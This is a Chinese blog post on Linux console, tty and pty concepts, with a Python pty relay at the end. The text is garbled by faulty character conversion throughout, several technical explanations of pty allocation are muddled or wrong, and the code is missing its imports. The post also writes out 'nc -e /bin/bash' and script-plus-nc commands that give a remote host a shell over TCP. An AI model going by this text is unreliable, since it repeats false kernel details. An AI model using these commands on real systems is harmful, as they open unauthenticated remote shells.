linux tty pty 的使用

概念

  • 下面是 我 cat /proc/tty/drivers 的輸出
/dev/tty             /dev/tty        5       0 system:/dev/tty
/dev/console         /dev/console    5       1 system:console
/dev/ptmx            /dev/ptmx       5       2 system
/dev/vc/0            /dev/vc/0       4       0 system:vtmaster
usbserial            /dev/ttyUSB   188 0-511 serial
serial               /dev/ttyS       4 64-95 serial
pty_slave            /dev/pts      136 0-1048575 pty:slave
pty_master           /dev/ptm      128 0-1048575 pty:master
unknown              /dev/tty        4 1-63 console
  • console
    • 從上面能夠看到, /dev/tty1-63 被註冊稱console。
    • console 是一個顯式器在內核中的對應物。可見最多能夠有64(console tty1-63)個顯式器和個人主機鏈接。
    • 當一個顯式器被鏈接到主板,被內核發現了,就會生成一個 /dev/consolen,文件。而/dev/console 表明系統啓動時的顯式器。
    • cat hello>/dev/console 能夠發送到那個顯式器區顯式,可是顯式器的交互有一個termios,用來設置每行字符和列數等等,因此隨便向console發一個字符串可能會引發異常。通常須要用程序獲得一個代理終端或者僞終端。
  • tty
    • 就是上面提到的代理終端。一個console能夠被多個tty代理。也就是說能夠多個進程共用一個顯式器。通常linux在開機的時候分配了6個tty給用戶用,你按ctrl+alt+F1-6,能夠在tty1到tty6間切換。通常除了tty1是登錄了的,其他幾個都須要從新登錄,得到一個bash,而後tty交給bash使用。你能夠用tty命令查看當前tty,也能夠用ps -ef|grep bash,查看各個bash對應的tty。
    • tty是TeleTYpe的意思,因此它原本是一個物理的串口打字設備。一個鍵盤就能夠分配一個tty。由於它是一個物理設備,因此它對應着計算機實際存在的上的串口,也所以這些串口都在內核的驅動裏註冊了。從最上面的輸出能夠看出,我電腦有ttyS64-95共32個串口被註冊了。串口的主設備號都是 4,從上面看到還有一個和/dev/console同樣主設備號爲 5 的tty,它表明當前tty。目的是爲了隔離進程對設備的細節的理解。由於一個進程最多隻可能使用一個tty,不必直到其它的存在,因此它只須要向/dev/tty 輸入輸出就能夠了。那麼疑問是,多個tty的進程都對應這一個文件不會衝突嗎?答案是不會的。你的網卡不也是隻有一個接口嗎,那麼多進程在和外部通訊也沒有衝突啊,一切的答案就是有物理層的規程,它標記了每個進程,當進程發送一個消息到/dev/tty,實際上有一個內核模塊把你的消息封裝了一次。而後疑問是:不是說串口嗎,怎麼能夠並行通訊啊?固然是像路由器那樣緩存啊,因此字符設備你發現都是必須帶緩衝帶開的。
    • 上面說進程不須要了解本身使用的tty,可是當一個進程申請tty的時候是須要知道本身的tty號的,由於那時候系統還不知道你是誰,因此有個申請和激活的過程。
  • pty
    • tty很好用,可是它是物理的,並且有限,個人系統就分配了32個tty串口。若是想有更多的話,能夠給你電腦多安幾個串口,而後多接幾根線,可是有了網絡以後,咱們就不須要這樣了,直接經過網線就能夠了,那麼這中方案中,內核如何處理交互呢?答案就是仍是用tty那一套,只不過給你虛擬一個串口出來。你們可能都虛擬過網卡網橋之類的。那麼就很好理解pty了,它就是系統虛擬出來的tty,因此叫作僞終端。
    • pty和tty一個不同的對方是tty它每一個串口的編號啥的都在內核裏註冊好了,系統中斷很容易就調用了。而僞終端是臨時分配的,那麼中斷怎麼搞呢?你們想起來上面說的緩存和複用了嗎?沒錯就是這樣子的。
    • 從最上面的輸出能夠看到,有一個 /dev/ptmx設備 設備號 5:2 被系統管理着,關於pty的中斷都找它。而後遠程登錄和本地鏈接還有一個明顯的不同,就是本地是經過線連着的,系統自動負責,遠程是有一個進程在那裏負責鏈接。若是咱們是遠程鏈接以後使用bash,怎麼搞呢?
      • 方法就是 生成一個pty文件,並將它分用爲一對文件描述符,因而在邏輯上咱們就有了兩個pty:分別叫作pts/ptm。
      • 好比我經過xshell和主機上的sshd來實現登錄並使用bash。首先是好兄弟sshd向系統申請了pty,系統給了它一對文件描述符(ptm0/pts0),文件描述符就是一個文件訪問的憑證,它可能根本就沒有實際的文件與之對應,可是系統說類,只要你用pts0或者ptm0來向我打開文件,我就給你建立一個真的文件出來,而且你之後用這兩個文件描述符均可以訪問它。因此sshd這個進程並不佔用終端,它只是用分配的這個文件描述符,並不嘗試真的去open("/dev/ptmx"),由於只要一嘗試去open,就當即生成真正的文件,並且完成了對這個pty的佔有,所謂佔有就是將本身的stdio都對應上去了,linux系統只容許tty或pty同一時間被一個進程佔有,若是沒人佔有就會釋放掉。
      • 上面說到sshd只得到了一對文件描述符ptm0/pts0,這時候sshd執行了登錄進程開始了bash子進程,並把pts0交給了bash,讓bash去用 pts0去打開/dev/ptmx,生成了/dev/pty/0,並完成了pty的綁定。今後bash的輸出,就寫pty,輸入信息到pty就是bash的輸入。而這時候咱們的sshd手握着系統分配的主文件符ptm0沾沾自喜,它就好像一個抓包少年同樣開心即了,轉眼就將從ptm0上讀到的信息(也就是bash的輸出)發送給了它的好兄弟,個人xshell,從而個人xshell就顯式登錄了。而後個人xshell說「我有個忙(命令),兄弟你幫我如下(幫我執行)」,好兄弟sshd堅決果斷就將 xshell傳給它的內容向 ptm0寫,這時候可憐的bash傻傻的意味那就是pty0愛的消息,當即讀而後執行。。。。就這樣,bash傻傻的戀愛着,而我用xshell得到的bash的使用權(輸入和輸出)。
爲何申請pty的時候給你一對文件描述符呢?
* 由於若是隻給你一個,你本身也要再升請一個並dup如下,這樣還須要建立兩個文件。
* 那麼爲何非兩個不可呢?若是隻是一個文件描述符,那麼被bash綁定以後 ,sshd向它讀寫會阻塞,有兩個的時候系統會處理。
下面給一個用python實現的tcp遠程登錄。實際使用的時候直接經過 nc -e /bin/bash 192.168.0.100 2333或者script <a_pipe |& nc 192.168.0.100 2333 >a_pipe均可以實現將遠程主機變成可用 tcp 直接鏈接上bash。可是下面代碼可讓你們更清楚其中關於pty獲取的細節。
import signal
import select
def main(debug=False):
    old_mode = tty.tcgetattr(0)
    tty.setraw(0)
    
    pid,m = pty.fork()
    if pid==0:
        os.execl("/bin/bash","/bin/bash")
    else:
        try:
            while True:
                result = os.waitid(os.P_PID, pid, os.WEXITED|os.WNOHANG)
                if result:raise Exception
                r,w,e = select.select([m,0],[m],[])
                if m in r:
                    os.write(1, os.read(m, 1024))
                    continue
                if 0 in r:
                    user_input = os.read(0,1024)
                    os.write(m, user_input)
        except:     
            try:    
                os.kill(pid, signal.SIGKILL)
            except:pass
            tty.tcsetattr(0, tty.TCSAFLUSH, old_mode)
            if debug:
                import traceback
                traceback.print_exc()
if __name__ == '__main__':
        main()
相關文章
相關標籤/搜索